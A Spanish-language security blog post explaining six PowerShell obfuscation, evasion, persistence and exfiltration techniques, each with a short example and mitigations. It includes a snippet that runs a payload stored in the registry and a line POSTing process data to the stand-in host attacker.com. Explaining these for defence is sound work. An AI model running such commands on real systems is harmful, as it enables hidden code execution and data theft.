# Técnicas de Ofuscación y Evasión en PowerShell: Análisis y Recomendaciones de Seguridad

- Link: https://binariocero.com/windows/tecnicas-de-ofuscacion-y-evasion-en-powershell-analisis-y-recomendaciones-de-seguridad
- Published: 2025-12-10T14:21:35+01:00
- Author: Binario 0

![Loading](https://binariocero.com/wp-content/plugins/page-views-count/ajax-loader-
2x.gif)

PowerShell es una de las herramientas más potentes del ecosistema Windows, ampliamente
utilizada tanto por administradores legítimos como por actores maliciosos. Su flexibilidad,
capacidad de automatización y acceso profundo al sistema lo convierten en un entorno
ideal para tareas administrativas, pero también para técnicas avanzadas de evasión
y persistencia.

A continuación se analizan varias técnicas habituales que pueden aparecer en auditorías,
pruebas de penetración o ataques reales, así como su funcionamiento y las implicaciones
de seguridad que conllevan.

## 1. Ofuscación mediante variables de entorno

**Ejemplo:**

    ```wp-block-code
    $env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariable
    ```

Esta técnica consiste en almacenar un comando dentro de una variable de entorno 
y posteriormente ejecutarlo mediante `Invoke-Expression`. Su finalidad es ofuscar
la intención del script y dificultar la revisión manual o automatizada del código.

**Riesgos y consideraciones de seguridad**

 * La ofuscación puede pasar desapercibida para herramientas de monitorización básicas.
 * `Invoke-Expression` es especialmente sensible al abuso, ya que ejecuta código
   dinámico.
 * Los registros de PowerShell pueden revelar la actividad si se tiene habilitado
   PowerShell Logging (Script Block Logging, Module Logging, etc.).

**Mitigación**

 * Activar la auditoría avanzada de PowerShell.
 * Bloquear o alertar el uso de `Invoke-Expression`.
 * Deshabilitar la ejecución de scripts no firmados en entornos críticos.

## 2. Renombrado de funciones para evasión

**Ejemplo:**

    ```wp-block-code
    Function MyGetProc { Get-Process }; MyGetProc
    ```

Aquí se redefine una función legítima con un nombre diferente para ocultar su propósito
real. Esta técnica pretende disminuir la visibilidad en análisis estáticos o herramientas
de detección basadas en patrones.

**Riesgos**

 * Oculta la llamada real al comando.
 * Puede incorporarse dentro de cargas más complejas para ocultar comportamientos
   maliciosos.

**Mitigación**

 * Revisar el contenido de las funciones definidas dinámicamente en scripts.
 * Utilizar soluciones EDR capaces de analizar el comportamiento, no solo el nombre
   de las funciones.

## 3. Uso de clases para ocultar código

**Ejemplo:**

    ```wp-block-code
    class HiddenCode { [string] Run() { return 'Hidden command executed' } }; 
    $instance = [HiddenCode]::new(); 
    $instance.Run()
    ```

PowerShell permite definir clases, y esta característica puede emplearse para encapsular
código que pase más inadvertido que las funciones tradicionales.

**Ventajas para un atacante**

 * El código malicioso queda oculto dentro de un cuerpo de clase.
 * Reduce la detección por herramientas que solo analizan funciones o comandos explícitos.

**Mitigación**

 * Monitorizar la creación de clases dinámicas en scripts sospechosos.
 * Aplicar políticas de ejecución que impidan scripts no firmados.

## 4. Uso del Registro de Windows para persistencia

**Ejemplo:**

    ```wp-block-code
    $path = 'HKCU:\Software\MyApp'; 
    New-Item -Path $path -Force; 
    New-ItemProperty -Path $path -Name 'Config' -Value 'EncodedPayload' -PropertyType String -Force; 
    $regValue = Get-ItemProperty -Path $path -Name 'Config'; 
    Invoke-Expression $regValue.Config
    ```

El Registro de Windows es un lugar habitual para almacenar configuraciones… y también
payloads ofuscados. Una vez guardado, el código puede ser ejecutado posteriormente
mediante PowerShell.

**Riesgos**

 * Facilita persistencia sin archivos visibles (fileless).
 * HKCU suele tener menos restricciones que otras ramas del Registro.
 * Difícil de detectar sin auditorías regulares del Registro.

**Mitigación**

 * Revisar claves sospechosas en rutas como `Run`, `RunOnce` y claves personalizadas.
 * Usar herramientas como Autoruns.
 * Bloquear ejecución desde datos obtenidos del Registro salvo casos estrictamente
   controlados.

## 5. Exfiltración de datos mediante canales externos

**Ejemplo:**

    ```wp-block-code
    $data = Get-Process | ConvertTo-Json; 
    Invoke-RestMethod -Uri 'http://attacker.com/data' -Method Post -Body $data
    ```

La exfiltración de información mediante peticiones HTTP/HTTPS es una técnica común
debido a que el tráfico web suele ser permitido en la mayoría de redes.

**Riesgos**

 * Puede evadir sistemas básicos de DLP si la comunicación está cifrada.
 * El JSON permite estructurar grandes volúmenes de datos.

**Mitigación**

 * Inspeccionar tráfico saliente, especialmente POST hacia dominios no autorizados.
 * Implementar proxies con inspección de contenido.
 * Crear listas blancas de destinos permitidos.

## 6. Acceso a WMI para operaciones discretas

**Ejemplo:**

    ```wp-block-code
    $query = 'SELECT * FROM Win32_Process'; 
    Get-WmiObject -Query $query
    ```

WMI es una interfaz poderosa para consultar y manipular información del sistema.
Muchos actores maliciosos la utilizan porque genera menos ruido que comandos directos
en PowerShell.

**Riesgos**

 * Usada habitualmente en ataques “living off the land”.
 * Permite ejecutar consultas, lanzar procesos o acceder a datos del sistema.

**Mitigación**

 * Habilitar WMI logging.
 * Restringir el acceso WMI a cuentas no privilegiadas.
 * Usar EDR con inspección específica de actividad WMI.

# Conclusión

Las técnicas descritas ilustran cómo características legítimas de PowerShell pueden
emplearse para ofuscación, persistencia y evasión. Conocer estos métodos es esencial
tanto para la defensa de sistemas como para auditorías de seguridad.
